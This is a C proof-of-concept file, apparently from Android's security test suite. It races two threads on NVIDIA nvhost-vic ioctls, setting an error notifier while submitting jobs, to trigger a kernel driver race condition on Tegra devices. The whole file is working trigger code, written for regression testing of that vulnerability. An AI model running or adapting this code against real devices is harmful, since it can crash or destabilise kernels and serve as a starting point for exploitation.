/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
// for syscall
#include <sys/syscall.h>
// for futex
#include <linux/futex.h>
#include <sys/time.h>

#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))

#define NVMAP_IOC_MAGIC 'N'
struct nvmap_create_handle {
	union {
		__u32 id;	/* FromId */
		__u32 size;	/* CreateHandle */
		__s32 fd;	/* DmaBufFd or FromFd */
	};
	__u32 handle;		/* returns nvmap handle */
};
#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)

#define NVHOST_IOCTL_MAGIC 'H'
struct nvhost_set_error_notifier {
	__u64 offset;
	__u64 size;
	__u32 mem;
	__u32 padding;
};
#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)

struct nvmap_alloc_handle {
	__u32 handle;		/* nvmap handle */
	__u32 heap_mask;	/* heaps to allocate from */
	__u32 flags;		/* wb/wc/uc/iwb etc. */
	__u32 align;		/* min alignment necessary */
};
#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)

static int set_affinity(int num)
{
	int ret = 0;
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(num, &mask);
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
	if(ret == -1){
		printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
	}
	return ret;
}

struct nvhost_submit_args {
	__u32 submit_version;
	__u32 num_syncpt_incrs;
	__u32 num_cmdbufs;
	__u32 num_relocs;
	__u32 num_waitchks;
	__u32 timeout;
	__u32 flags;
	__u32 fence;		/* Return value */
	__u64 syncpt_incrs;
	__u64 cmdbuf_exts;

	__u64 pad[3];		/* future expansion */

	__u64 cmdbufs;
	__u64 relocs;
	__u64 reloc_shifts;
	__u64 waitchks;
	__u64 waitbases;
	__u64 class_ids;
	__u64 fences;
};
#define NVHOST_IOCTL_CHANNEL_SUBMIT	\
	_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)

struct nvhost_syncpt_incr {
	__u32 syncpt_id;
	__u32 syncpt_incrs;
};

#define CLOSE_THREAD_NUM	1
#define TRY_TIMES		2
#define NVMAPDEV	"/dev/nvmap"
#define VICDEV		"/dev/nvhost-vic"
#define SYNC_NUM	1
struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
int nvmap, vic;
volatile int attack;
void* close_thread(void* no_use)
{
	int ret;
	set_affinity(1);

	while(attack){
		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
	}

	return NULL;
}

int main()
{
	int i, j, ret;
	int dma1, dma2;
	struct nvmap_create_handle args = { 
		.size = PAGE_SIZE
	};
	struct nvmap_alloc_handle alloc = {
		.heap_mask = 0xFFFFFFFF
	};

	struct nvhost_syncpt_incr incr[SYNC_NUM];

	struct nvhost_submit_args submit = { 
		.num_syncpt_incrs = SYNC_NUM,
		.syncpt_incrs = (intptr_t)incr,
		.timeout = 1,
		//.class_ids = (intptr_t)&ret
	};

	memset(incr, 0, sizeof(incr));
	incr[0].syncpt_id = 6;

	/* bind_cpu */
	set_affinity(0);

	nvmap = open(NVMAPDEV, O_RDONLY);
	if(nvmap == -1)
		ERR("[-] open %s failed", NVMAPDEV);
	else
		LOG("[+] open %s OK", NVMAPDEV);

	vic = open(VICDEV, O_RDONLY);
	if(vic == -1)
		ERR("[-] open %s failed", VICDEV);
	else
		LOG("[+] open %s OK", VICDEV);

	// prepare 
	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
	if(ret)
		ERR("[-] ioctl NVMAP_IOC_CREATE failed");
	else
		LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);

	dma1 = args.handle;
	err1.mem = dma1;
	alloc.handle = dma1;

	ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
	if(ret)
		ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
	else
		LOG("[+] NVMAP_IOC_ALLOC succeeded");

	/* create close thread */
	attack = 1;
	for(i = 0; i < CLOSE_THREAD_NUM; i++){
		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
	}
	LOG("[+] running...");
	while(1) {
		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
	}

	LOG("[-] passed :(");
	attack = 0;
	for(i = 0; i < CLOSE_THREAD_NUM; i++) {
		pthread_join(close_thread_id[i], NULL);
	}

	return 0;
}